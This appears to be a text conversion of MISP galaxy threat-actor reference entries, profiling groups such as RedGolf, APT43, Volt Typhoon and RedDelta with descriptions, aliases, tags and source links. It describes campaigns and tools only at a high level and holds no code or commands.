- uses: misp-galaxy:tds="404 TDS" with estimative-language:likelihood-probability="likely"

Table 11500. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Anonymous Sudan

Since January 23, 2023, a threat actor identifying as "Anonymous Sudan" has been conducting denial of service (DDoS) attacks against multiple organizations in Sweden. This group claims to be
"hacktivists," politically motivated hackers from Sudan. According to Truesec's report, the threat actor has nothing to do with the online activists collectively known as Anonymous.

The tag is: `misp-galaxy:threat-actor="Anonymous Sudan"`

### RedGolf

Recorded Future's Insikt Group has identified a large cluster of new operational infrastructure associated with use of the custom Windows and Linux backdoor KEYPLUG. We attribute this activity to a threat activity group tracked as RedGolf, which is highly likely to be a Chinese state-sponsored group. RedGolf closely overlaps with threat activity reported in open sources under the aliases APT41/BARIUM and has likely carried out state-sponsored espionage activity in parallel with financially motivated operations for personal gain from at least 2014 onward.

The tag is: `misp-galaxy:threat-actor="RedGolf"`

View relationships graph

RedGolf has relationships with:

- overlaps: `misp-galaxy:threat-actor="APT41"` with `estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="PlugX"` with `estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="Cobalt Strike"` with `estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:threat-actor="APT41"` with `estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="KEYPLUG"` with `estimative-language:likelihood-probability="likely"

### APT43

- APT43 is a prolific cyber operator that supports the interests of the North Korean regime. The
group combines moderately-sophisticated technical capabilities with aggressive social engineering tactics, especially against South Korean and U.S.-based government organizations, academics, and think tanks focused on Korean peninsula geopolitical issues.

- In addition to its espionage campaigns, we believe APT43 funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence.
- The group creates numerous spoofed and fraudulent personas for use in social engineering, as well as cover identities for purchasing operational tooling and infrastructure.
- APT43 has collaborated with other North Korean espionage operators on multiple operations, underscoring the major role APT43 plays in the regime’s cyber apparatus.

The tag is: misp-galaxy:threat-actor="APT43"

Table 11503. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt43-north-korea-cybercrime-espionage">https://www.mandiant.com/resources/blog/apt43-north-korea-cybercrime-espionage</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**Hagga**

Hagga is believed to have been using Agent Tesla, 2021’s sixth most prevalent malware, to steal sensitive information from his victims since the latter part of 2021.

The tag is: misp-galaxy:threat-actor="Hagga"

Hagga is also known as:

- Aggah
- TH-157

View relationships graph

Hagga has relationships with:

- uses: misp-galaxy:tool="Agent Tesla" with estimative-language:likelihood-probability="likely"

Table 11504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://otx.alienvault.com/pulse/62cfe4ef3415be5f83be81d1">https://otx.alienvault.com/pulse/62cfe4ef3415be5f83be81d1</a></td>
</tr>
</tbody>
</table>
**Volt Typhoon**

[Microsoft] Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. Microsoft assesses with moderate confidence that this Volt Typhoon campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises.

[Secureworks] BRONZE SILHOUETTE likely operates on behalf the PRC. The targeting of U.S. government and defense organizations for intelligence gain aligns with PRC requirements, and the tradecraft observed in these engagements overlap with other state-sponsored Chinese threat groups.

The tag is: *misp-galaxy:threat-actor="Volt Typhoon"*

Volt Typhoon is also known as:

- BRONZE SILHOUETTE

*Table 11505. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**SmugX**

The campaign, called SmugX, overlaps with previously reported activity by Chinese APT actors RedDelta and Mustang Panda. Although those two correlate to some extent with Camaro Dragon, there is insufficient evidence to link the SmugX campaign to the Camaro Dragon group.

The campaign uses new delivery methods to deploy (most notably – HTML Smuggling) a new variant of PlugX, an implant commonly associated with a wide variety of Chinese threat actors. Although the payload itself remains similar to the one found in older PlugX variants, its delivery methods results in low detection rates, which until recently helped the campaign fly under the radar.

The tag is: *misp-galaxy:threat-actor="SmugX"*

*Table 11506. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RedDelta**

Likely Chinese state-sponsored threat activity group RedDelta targeting organizations within
Europe and Southeast Asia using a customized variant of the PlugX backdoor. Since at least 2019, RedDelta has been consistently active within Southeast Asia, particularly in Myanmar and Vietnam, but has also routinely adapted its targeting in response to global geopolitical events. This is historically evident through the group’s targeting of the Vatican and other Catholic organizations in the lead-up to 2021 talks between Chinese Communist Party (CCP) and Vatican officials, as well as throughout 2022 through the group’s shift towards increased targeting of European government and diplomatic entities following Russia’s invasion of Ukraine.

During the 3-month period from September through November 2022, RedDelta has regularly used an infection chain employing malicious shortcut (LNK) files, which trigger a dynamic-link library (DLL) search-order-hijacking execution chain to load consistently updated PlugX versions. Throughout this period, the group repeatedly employed decoy documents specific to government and migration policy within Europe. Of note, we identified a European government department focused on trade communicating with RedDelta command-and-control (C2) infrastructure in early August 2022. This activity commenced on the same day that a RedDelta PlugX sample using this C2 infrastructure and featuring an EU trade-themed decoy document surfaced on public malware repositories. We also identified additional probable victim entities within Myanmar and Vietnam regularly communicating with RedDelta C2 infrastructure.

RedDelta closely overlaps with public industry reporting under the aliases BRONZE PRESIDENT, Mustang Panda, TA416, Red Lich, and HoneyMyte.

The tag is: *misp-galaxy:threat-actor="RedDelta"

View relationships graph

RedDelta has relationships with:

- overlaps: misp-galaxy:threat-actor="MUSTANG PANDA" with estimative-language:likelihood-probability="likely"

Table 11507. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Worok**

Worok is a cyber espionage group, mostly targeting Central Asia. The group toolset includes a C++ loader named CLRLoad, a PowerShell backdoor named PowHeartBeat, and a C# loader named PNGLoad.

The tag is: *misp-galaxy:threat-actor="Worok"

Table 11508. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
MoustachedBouncer

MoustachedBouncer is a cyberespionage group discovered by ESET Research and first publicly disclosed in August 2023. The group has been active since at least 2014 and only targets foreign embassies in Belarus. Since 2020, MoustachedBouncer has most likely been able to perform adversary-in-the-middle (AitM) attacks at the ISP level, within Belarus, in order to compromise its targets. The group uses two separate toolsets that we have named NightClub and Disco.

The tag is: misp-galaxy:threat-actor="MoustachedBouncer"

Storm-0324

The threat actor that Microsoft tracks as Storm-0324 is a financially motivated group known to gain initial access using email-based initial infection vectors and then hand off access to compromised networks to other threat actors. These handoffs frequently lead to ransomware deployment.

The tag is: misp-galaxy:threat-actor="Storm-0324"

Storm-0324 is also known as:

- DEV-0324
- Sagrid
- TA543

View relationships graph

Storm-0324 has relationships with:

- uses: misp-galaxy:malpedia="JSSLoader" with estimative-language:likelihood-probability="likely"
Scattered Canary

When the first member of Scattered Canary, who, for the purposes of this report, we call Alpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned the tricks of the trade from a mentor. However, within a few years, he had honed his craft enough to expand into romance scams, where he met his first “employee,” Beta. Once they had secured enough mules via their romance scams to launder their stolen money, they shifted from targeting individuals to targeting enterprises, and the group’s BEC operation was born.

The tag is: *misp-galaxy:threat-actor="Scattered Canary"*

Table 11511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Scattered Spider

Scattered Spider, a highly active hacking group, has made headlines by targeting more than 130 organizations, with the number of victims steadily increasing.

The tag is: *misp-galaxy:threat-actor="Scattered Spider"*

Scattered Spider is also known as:

- UNC3944
- Muddled Libra
- Oktapus
- Scattered Swine
- Scatter Swine
- Octo Tempest
- 0ktapus

Table 11512. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AtlasCross

NSFOCUS Security Labs recently discovered a new attack process based on phishing documents in their daily threat-hunting operations. Delving deeper into this finding through extensive research, they confirmed two new Trojan horse programs and many rare attack techniques and tactics. NSFOCUS Security Labs believes that this new attack process comes from a new APT attacker, who has a high technical level and cautious attack attitude. The phishing attack activity captured this time is part of the attacker’s targeted strike on specific targets and is its main means to achieve in-domain penetration. NSFOCUS Security Labs validated the high-level threat attributes of AtlasCross in terms of development technology and attack strategy through an in-depth analysis of its attack metrics. At this current stage, AtlasCross has a relatively limited scope of activity, primarily focusing on targeted attacks against specific hosts within a network domain. However, the attack processes they employ are highly robust and mature. NSFOCUS Security Labs deduce that this attacker is highly likely to deploy this attack process into larger-scale network attack operations.

The tag is: `misp-galaxy:threat-actor="AtlasCross"`

**View relationships graph**

AtlasCross has relationships with:

- uses: `misp-galaxy:tool="DangerAds"` with `estimative-language:likelihood-probability="likely"

**Table 11513. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Void Rabisu

Void Rabisu is an intrusion set associated with both financially motivated ransomware attacks and targeted campaigns on Ukraine and countries supporting Ukraine.

The tag is: `misp-galaxy:threat-actor="Void Rabisu"`

Void Rabisu is also known as:

- Tropical Scorpius

**View relationships graph**

Void Rabisu has relationships with:
Camaro Dragon

In early 2023, the Check Point Incident Response Team (CPIRT) team investigated a malware incident at a European healthcare institution involving a set of tools mentioned in the Avast report in late 2022. The incident was attributed to Camaro Dragon, a Chinese-based espionage threat actor whose activities overlap with activities tracked by different researchers as Mustang Panda and LuminousMoth, whose focus is primarily on Southeast Asian countries and their close peers.

The tag is: misp-galaxy:threat-actor="Camaro Dragon"

Storm-0558

Storm-0558 is a China-based threat actor with espionage objectives. While there are some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), Microsoft maintain high confidence that Storm-0558 operates as its own distinct group

The tag is: misp-galaxy:threat-actor="Storm-0558"
Scarred Manticore

Scarred Manticore has been pursuing high-value targets for years, utilizing a variety of IIS-based backdoors to attack Windows servers. These include a variety of custom web shells, custom DLL backdoors, and driver-based implants.

The tag is: `misp-galaxy:threat-actor="Scarred Manticore"

Table 11517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/">https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/</a></td>
</tr>
</tbody>
</table>

Keksec

The threat group behind EnemyBot, Keksec, is well-resourced and has the ability to update and add new capabilities to its arsenal of malware on a daily basis (see below for more detail on Keksec)

The tag is: `misp-galaxy:threat-actor="Keksec"

Table 11518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/">https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/</a></td>
</tr>
</tbody>
</table>

Xiaoqiying

Xiaoqiying is a primarily Chinese-speaking threat group that is most well known for conducting website defacement and data exfiltration attacks on more than a dozen South Korean research and academic institutions in late-January 2023. Research from Recorded Futures Insikt Group has found that the groups affiliated threat actors have signaled a new round of cyberattacks against organizations in Japan and Taiwan. Although it shows no clear ties to the Chinese government, Xiaoqiying is staunchly pro-China and vows to target NATO countries as well as any country or region that is deemed hostile to China.
The tag is: `misp-galaxy:threat-actor="Xiaoqiying"`

Xiaoqiying is also known as:

- Genesis Day
- Teng Snake

**Winter Vivern**

Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It is thought to have been active since at least 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group uses malicious documents, phishing websites, and a custom PowerShell backdoor.

The tag is: `misp-galaxy:threat-actor="Winter Vivern"`

Winter Vivern is also known as:

- UAC-0114
- TA473

**References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.recordedfuture.com/xiaoqiying-genesis-day-threat-actor-group-targets-south-korea-taiwan">https://www.recordedfuture.com/xiaoqiying-genesis-day-threat-actor-group-targets-south-korea-taiwan</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a">https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a</a></td>
<td></td>
</tr>
</tbody>
</table>
UNC3886

UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems.

The tag is: misp-galaxy:threat-actor="UNC3886"

Table 11521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem">https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence">https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/vmware-esxi-zero-day-bypass">https://www.mandiant.com/resources/blog/vmware-esxi-zero-day-bypass</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/vmware-detection-containment-hardening">https://www.mandiant.com/resources/blog/vmware-detection-containment-hardening</a></td>
</tr>
</tbody>
</table>

Earth Longzhi

Earth Longzhi is a subgroup of APT41 targeting organizations based in Taiwan, Thailand, the Philippines, and Fiji, and using “stack rumbling” via Image File Execution Options (IFEO), a new denial-of-service (DoS) technique to disable security software.

The tag is: misp-galaxy:threat-actor="Earth Longzhi"

Earth Longzhi is also known as:

• SnakeCharmer

Table 11522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.picussecurity.com/resource/blog/cyber-threat-intelligence-report-may-2023">https://www.picussecurity.com/resource/blog/cyber-threat-intelligence-report-may-2023</a></td>
</tr>
</tbody>
</table>

Redfly

Redfly hacked a national electricity grid organization in Asia and maintained persistent access to the network for about six months. Researchers discovered evidence for this attack between 28
February and 3 August 2023 after noticing suspicious malware activity within the organization’s network.

The tag is: misp-galaxy:threat-actor="Redfly"

<table>
<thead>
<tr>
<th>Table 11523. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.rewterz.com/rewterz-news/rewterz-threat-alert-power-suppliers-network-infiltrated-for-6-months-by-redfly-hackers-active-iocs/">https://www.rewterz.com/rewterz-news/rewterz-threat-alert-power-suppliers-network-infiltrated-for-6-months-by-redfly-hackers-active-iocs/</a></td>
</tr>
</tbody>
</table>

**TetrisPhantom**

TetrisPhantom relies on compromising of certain type of secure USB drives that provide hardware encryption and is commonly used by government organizations. While investigating this threat, experts identified an entire spying campaign that uses a range of malicious modules to execute commands, collect files and information from compromised computers and transfer them to other machines also using secure USB drives.

The tag is: misp-galaxy:threat-actor="TetrisPhantom"

<table>
<thead>
<tr>
<th>Table 11524. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://usa.kaspersky.com/blog/sas-2023-research/29254/">https://usa.kaspersky.com/blog/sas-2023-research/29254/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2023/110752/">https://securelist.com/apt-trends-report-q3-2023/110752/</a></td>
</tr>
</tbody>
</table>

**Earth Estries**

Trend Micro found that Earth Estries relies heavily on DLL sideloading to load various tools within its arsenal. Aside from the backdoors previously mentioned, this intrusion set also utilizes commonly used remote control tools like Cobalt Strike, PlugX, or Meterpreter stagers interchangeably in various attack stages. These tools come as encrypted payloads loaded by custom loader DLLs.

The tag is: misp-galaxy:threat-actor="Earth Estries"

<table>
<thead>
<tr>
<th>Table 11525. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
**GoldenJackal**

GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. Kaspersky believes the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server. They developed a collection of .NET malware tools known as Jackal.

The tag is: `misp-galaxy:threat-actor="GoldenJackal"`

**Table 11526. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/it-threat-evolution-q2-2023/110355/">https://securelist.com/it-threat-evolution-q2-2023/110355/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/goldenjackal-apt-group/109677/">https://securelist.com/goldenjackal-apt-group/109677/</a></td>
</tr>
</tbody>
</table>

**Lancefly**

Lancefly targets government, aviation, and telecom organizations in South and Southeast Asia. They use a custom backdoor named Merdoor, developed since 2018, and employ various tactics to gain access, including phishing emails, SSH credential brute-forcing, and exploiting server vulnerabilities. Additionally, Lancefly has been observed using a newer version of the ZXShell rootkit and tools like PlugX and ShadowPad RAT, which are typically associated with Chinese-speaking APT groups.

The tag is: `misp-galaxy:threat-actor="Lancefly"`

**Table 11527. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**LofyGang**

LofyGang has been found to be linked to more than 200 malicious packages, with thousands of installations throughout 2022. The group, believed to have been operating for more than a year, has multiple hacking objectives, including stealing credit card information and stealing user accounts including Discord Inc. premium accounts, streaming services accounts such as Disney+ and Minecraft accounts.

The tag is: `misp-galaxy:threat-actor="LofyGang"`

**Table 11528. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://checkmarx.com/blog/lofygang-software-supply-chain-attackers-organized-persistent-and-operating-for-over-a-year/">https://checkmarx.com/blog/lofygang-software-supply-chain-attackers-organized-persistent-and-operating-for-over-a-year/</a></td>
</tr>
</tbody>
</table>
Storm-0062

The cyberattack campaign that Microsoft uncovered was launched by a China-linked hacking group called Storm-0062. According to the company, the group is launching cyberattacks by exploiting a vulnerability in the Data Center and Server editions of Confluence. Those are versions of the application that companies run on-premises.

The tag is: misp-galaxy:threat-actor="Storm-0062"

Storm-0062 is also known as:

- Oro0lxy
- DarkShadow

Table 11529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1711871732644970856">https://twitter.com/MsftSecIntel/status/1711871732644970856</a></td>
</tr>
</tbody>
</table>

SparklingGoblin

ESET researchers have discovered a new undocumented modular backdoor, SideWalk, being used by an APT group they've named SparklingGoblin; this backdoor was used during one of SparklingGoblin's recent campaigns that targeted a computer retail company based in the USA. This backdoor shares multiple similarities with another backdoor used by the group: CROSSWALK.

The tag is: misp-galaxy:threat-actor="SparklingGoblin"

Table 11530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Kasablanka

The Kasablanka group is a cyber-criminal organization that has specifically targeted Russia between September and December 2022, using various payloads delivered through phishing emails containing socially engineered lnk files, zip packages, and executables attached to virtual disk image files.

The tag is: misp-galaxy:threat-actor="Kasablanka"

Table 11531. Table References

Links
YoroTrooper

YoroTrooper’s main targets are government or energy organizations in Azerbaijan, Tajikistan, Kyrgyzstan and other Commonwealth of Independent States, based on Cisco Talos analysis. YoroTrooper was also observed compromising accounts from at least two international organizations: a critical European Union health care agency and the World Intellectual Property Organization. Successful compromises also included Embassies of European countries including Azerbaijan and Turkmenistan.

The tag is: `misp-galaxy:threat-actor="YoroTrooper"`

<table>
<thead>
<tr>
<th>Table 11532. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/attributing-yorotrooper/">https://blog.talosintelligence.com/attributing-yorotrooper/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/">https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/</a></td>
</tr>
</tbody>
</table>

Metador

Metador primarily targets telecommunications, internet service providers, and universities in several countries in the Middle East and Africa. Metador’s attack chains are designed to bypass native security solutions while deploying malware platforms directly into memory. SentinelLabs researchers discovered variants of two long-standing Windows malware platforms, and indications of an additional Linux implant.

The tag is: `misp-galaxy:threat-actor="Metador"`

<table>
<thead>
<tr>
<th>Table 11533. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

SiegedSec

SiegedSec, a hacktivist collective, emerged coincidentally just days before Russia’s invasion of Ukraine. Under the leadership of the hacktivist known as “YourAnonWolf,” the group swiftly gained strength, announcing an increasing number of victims after its inception. The group humorously self-identifies as “gay furry hackers” and is renowned for its comical slogans and the use of vulgar language. SiegedSec has affiliations with other hacker groups like GhostSec and typically consists of
members aged between 18 and 26.

The tag is: misp-galaxy:threat-actor="SiegedSec"

Table 11534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://therecord.media/nato-siegedsec-unclassified-websites-alleged-cyberattack">https://therecord.media/nato-siegedsec-unclassified-websites-alleged-cyberattack</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/threat-actor-profile-siegedsec/">https://socradar.io/threat-actor-profile-siegedsec/</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/the-five-families-hacker-collaboration-redefining-the-game/">https://socradar.io/the-five-families-hacker-collaboration-redefining-the-game/</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/fort-worth-officials-say-leaked-data-was-public">https://therecord.media/fort-worth-officials-say-leaked-data-was-public</a></td>
</tr>
</tbody>
</table>

**RansomVC**

Ransomed.VC burst onto the scene with a well-orchestrated PR campaign, encompassing a clearnet site and multiple communication channels including Telegram and Twitter/X profiles. Their operations are heavily inclined towards exploiting GDPR penalties as a method of extortion, threatening victims with potential legal repercussions in case of data leaks.

The tag is: misp-galaxy:threat-actor="RansomVC"

RansomVC is also known as:

- Ransomed.vc

Table 11535. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://therecord.media/colonial-pipeline-attributes-ransomware-claims-to-unrelated-third-party-breach">https://therecord.media/colonial-pipeline-attributes-ransomware-claims-to-unrelated-third-party-breach</a></td>
</tr>
<tr>
<td><a href="https://www.videogameschronicle.com/news/a-ransomware-group-claims-to-have-beached-all-sony-systems/">https://www.videogameschronicle.com/news/a-ransomware-group-claims-to-have-beached-all-sony-systems/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/threat-source-newsletter-sept-28-2023/">https://blog.talosintelligence.com/threat-source-newsletter-sept-28-2023/</a></td>
</tr>
</tbody>
</table>
**Carderbee**

Symantec recently reported on activity attributed to a threat actor group dubbed Carderbee. In the campaign, the threat actors target entities in Hong Kong and other regions of Asia via a supply chain attack leveraging the legitimate Cobra DocGuard software. The activity began as early as September 2022.

The tag is: `misp-galaxy:threat-actor="Carderbee"`

**UNC3890**

A suspected Iranian threat activity cluster has been linked to attacks aimed at Israeli shipping, government, energy, and healthcare organizations, in a campaign stretching back to late 2020. Researchers believe that the data harvested during the campaign could be used to support various activities. UNC3890, the threat actor behind the attacks, deployed two proprietary pieces of malware – a backdoor named “SUGARUSH” and a browser credential stealer called “SUGARDUMP”, which exfiltrates password information to email addresses registered with Gmail, ProtonMail, Yahoo and Yandex email services. The threat actor also employs a network of C&C servers that host fake login pages impersonating legitimate platforms such as Office 365, LinkedIn and Facebook. These servers are designed to communicate with the targets and also with a watering hole hosted on the login page of a legitimate Israeli shipping company.

The tag is: `misp-galaxy:threat-actor="UNC3890"`

**RedStinger**

In October 2022, Kaspersky identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server.
The tag is: `misp-galaxy:threat-actor="RedStinger"`

RedStinger is also known as:

- Bad Magic

**Table 11538. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger">https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/bad-magic-apt/109087/">https://securelist.com/bad-magic-apt/109087/</a></td>
</tr>
</tbody>
</table>

**Witchetty**

Witchetty was first documented by ESET in April 2022, who concluded that it was one of three subgroups of TA410, a broad cyber-espionage operation with some links to the Cicada group (aka APT10). Witchetty's activity was characterized by the use of two pieces of malware, a first-stage backdoor known as X4 and a second-stage payload known as LookBack. ESET reported that the group had targeted governments, diplomatic missions, charities, and industrial/manufacturing organizations.

The tag is: `misp-galaxy:threat-actor="Witchetty"`

Witchetty is also known as:

- LookingFrog

**Table 11539. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**NB65**

Network Battalion 65 is an hactivist group with ties to Anonymous, known for attacking Russian companies and performing hack-and-leak operations.

The tag is: `misp-galaxy:threat-actor="NB65"`

NB65 is also known as:

- Network Battalion 65

**Table 11540. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
IndigoZebra

IndigoZebra is a Chinese state-sponsored actor mentioned for the first time by Kaspersky in its APT Trends report Q2 2017, targeting, at the time of its discovery, former Soviet Republics with multiple malware strains including Meterpreter, Poison Ivy, xDown, and a previously unknown backdoor called “xCaon.”

The tag is: \textit{misp-galaxy:threat-actor="IndigoZebra"}

GhostSec

GhostSec is a hacktivist group that emerged as an offshoot of Anonymous. They primarily focused on counterterrorism efforts and monitoring online activities associated with terrorism. They gained prominence following the 2015 Charlie Hebdo shooting in Paris and the rise of ISIS.

The tag is: \textit{misp-galaxy:threat-actor="GhostSec"}

GhostSec is also known as:

- Ghost Security

\textit{Table 11541. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-
  evolving-tools/ |
| https://www.rewterz.com/rewterz-news/rewterz-threat-intel-indigozebra-apt-group-targeting-
  central-asia-active-iocs |

\textit{Table 11542. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.uptycs.com/blog/ghostlocker-ransomware-ghostsec">https://www.uptycs.com/blog/ghostlocker-ransomware-ghostsec</a></td>
</tr>
</tbody>
</table>
| https://forescoutstage.wpengine.com/blog/the-increasing-threat-posed-by-hacktivist-attacks-an-
  analysis-of-targeted-organizations-devices-and-ttps/ |
OilAlpha

OilAlpha has almost exclusively relied on infrastructure associated with the Public Telecommunication Corporation (PTC), a Yemeni government-owned enterprise reported to be under the direct control of the Houthi authorities. OilAlpha used encrypted chat messengers like WhatsApp to launch social engineering attacks against its targets. It has also used URL link shorteners. Per victimology assessment, it appears a majority of the targeted entities were Arabic-language speakers and operated Android devices.

The tag is: misp-galaxy:threat-actor="OilAlpha"

Table 11543. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.zimperium.com/blog/zimperium-mtd-against-oilalpha-a-comprehensive-defense-strategy/">https://www.zimperium.com/blog/zimperium-mtd-against-oilalpha-a-comprehensive-defense-strategy/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/oilalpha-likely-pro-houthi-group-targeting-arabian-peninsula">https://www.recordedfuture.com/oilalpha-likely-pro-houthi-group-targeting-arabian-peninsula</a></td>
</tr>
</tbody>
</table>

HiddenArt

It was observed that a mobile network threat actor designated as ‘HiddenArt’ actively sustains a capacity to remotely access the personal devices of targeted individuals around the world on an ongoing basis. Since detecting this threat actor, periodic reconnaissance activities were observed in at least 7 target mobile networks around the world and given the wide geographic distribution of these targeted mobile operators, it is probable that the threat actor is active on a global scale.

The tag is: misp-galaxy:threat-actor="HiddenArt"

Table 11544. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.enea.com/insights/the-hunt-for-hiddenart/">https://www.enea.com/insights/the-hunt-for-hiddenart/</a></td>
</tr>
</tbody>
</table>

REF5961

Elastic’s security team has published a report on REF5961, a cyber-espionage group they found on the network of a Foreign Affairs Ministry from a member of the Association of Southeast Asian Nations (ASEAN). Elastic says it found the group’s tools next to the malware of another cyber-espionage group it tracks as REF2924. REF5961’s arsenal includes malware such as EAGERBEE, RUDEBIRD, and DOWNTOWN.

The tag is: misp-galaxy:threat-actor="REF5961"

Table 11545. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set">https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set</a></td>
</tr>
</tbody>
</table>
REF2924

A group monitored as REF2924 by Elastic Security Labs is wielding novel data-stealing malware — an HTTP listener written in C# dubbed Naplistener by the researchers — in attacks against victims operating in southern and southeast Asia. According to a blog post by Elastic senior security research engineer Remco Sprooten, in that region of the world, network-based detection and prevention technologies are the de facto method for securing many environments.

The tag is: **misp-galaxy:threat-actor="REF2924"**

Table 11546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat">https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat</a></td>
</tr>
<tr>
